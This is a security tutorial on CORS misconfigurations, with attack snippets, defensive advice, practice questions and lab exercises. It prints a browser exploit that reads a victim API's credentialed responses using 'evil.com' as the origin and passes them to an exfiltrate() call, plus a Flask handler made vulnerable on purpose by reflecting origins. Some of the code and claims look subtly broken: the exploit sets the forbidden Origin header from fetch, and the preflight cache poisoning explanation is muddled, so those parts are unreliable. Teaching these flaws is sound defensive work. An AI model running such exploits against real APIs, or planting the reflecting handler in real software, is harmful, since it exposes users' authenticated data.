CORS Vulnerabilities — Attack Vectors and Exploitation Techniques

In this tutorial, you will learn about CORS Vulnerabilities. We cover key concepts, practical examples, and best practices to help you master this topic.

CORS vulnerabilities arise from misconfigured headers that allow attackers to bypass the same-origin policy, including origin reflection attacks, preflight cache poisoning, null origin abuse, and credential theft.

What You'll Learn

• How attackers exploit CORS misconfigurations
• Real-world CORS vulnerability patterns
• Defense strategies against CORS attacks

Why It Matters

CORS vulnerabilities are frequently found in Bug Bounty programs and penetration tests. A single misconfigured header can compromise all authenticated API endpoints. DodaTech's bug bounty program specifically targets CORS misconfigurations.

flowchart TD
    subgraph "Attack Vectors"
        OR["Origin Reflection"]
        PC["Preflight Cache Poisoning"]
        NO["Null Origin Attack"]
        CT["Credential Theft"]
    end
    subgraph "Impact"
        DI["Data Injection"]
        SR["Sensitive Data Read"]
        SA["Session Abuse"]
    end
    OR --> SR
    PC --> DI
    NO --> SR
    CT --> SA
    style CT fill:#fecaca,stroke:#dc2626

Code Examples

// Exploit: Testing for origin reflection
// If API reflects any Origin, this attack works
const attackerOrigin = 'https://evil.com';
const response = await fetch('https://victim-api.com/user/profile', {
  credentials: 'include',
  headers: { 'Origin': attackerOrigin }
});

// Check if ACAO reflects attacker origin
const acao = response.headers.get('Access-Control-Allow-Origin');
if (acao === attackerOrigin) {
  // VULNERABLE: API reflects origins without validation
  // Attacker can now read all responses
  const data = await response.json();
  exfiltrate(data);
}

# Vulnerable pattern that enables origin reflection
# DO NOT USE - this is the vulnerable version
@app.after_request
def vulnerable(response):
    # Directly echoes back any origin
    response.headers['Access-Control-Allow-Origin'] = \
        request.headers.get('Origin', '')
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

// Preflight cache poisoning concept
// If the attacker can make a preflight with evil.com
// and the server responds with permissive headers
// the browser caches it, affecting subsequent requests

// Attacker-controlled page
fetch('https://api.victim.com/sensitive-data', {
  method: 'PUT',
  headers: { 'Content-Type': 'application/json' }
  // Server responds with ACAO: evil.com for this preflight
  // Browser caches it based on Max-Age
});

Common Mistakes

1. Trusting the Origin Header Without Validation

This is the most common CORS vulnerability. Validate, never trust.

2. Allowing Access-Control-Allow-Origin: null

The null origin can be triggered by data: URLs, sandboxed iframes, and file: protocols.

3. Using Predictable Origin Patterns

If your origin whitelist uses patterns like *.example.com, ensure attackers cannot register subdomains.

4. Setting Excessively Long Max-Age

Long Max-Age values with permissive configs lock in the permissive behavior.

5. Not Validating Origin on All Endpoints

Even if one endpoint has strict CORS, a misconfigured sibling endpoint may be exploited.

Practice Questions

1. What is an origin reflection attack?
2. How can preflight Caching be exploited?
3. What is the null origin and how is it dangerous?
4. How do attackers exfiltrate data via CORS?
5. What is the best defense against CORS vulnerabilities?

Answers:

1. The server echoes back any Origin header without validation, allowing arbitrary websites to access API responses.
2. If an attacker controls a server that responds with permissive CORS headers, the browser caches this, allowing subsequent requests from the attacker's origin.
3. The null origin is sent by sandboxed or non-http contexts. Allowing null enables attacks from unexpected contexts.
4. By reading the response via JavaScript and sending it to a server they control.
5. Validate all origins against a strict whitelist, never echo the Origin header, and never use wildcard with credentials.

Challenge: Set up a deliberately vulnerable CORS API and exploit it using origin reflection. Then fix the vulnerability and verify the exploit no longer works. Document the full attack chain and remediation steps.

FAQ

Mini Project

Build a CORS vulnerability demonstration environment: set up three APIs (one secure, one with origin reflection, one with null origin vulnerability), create an attacker page that exploits each, and document the attack chain, impact, and remediation. Include a report generator.

What's Next

Study credential theft via CORS attacks and how attackers combine CORS with other vulnerabilities, then review same-origin policy deep dive.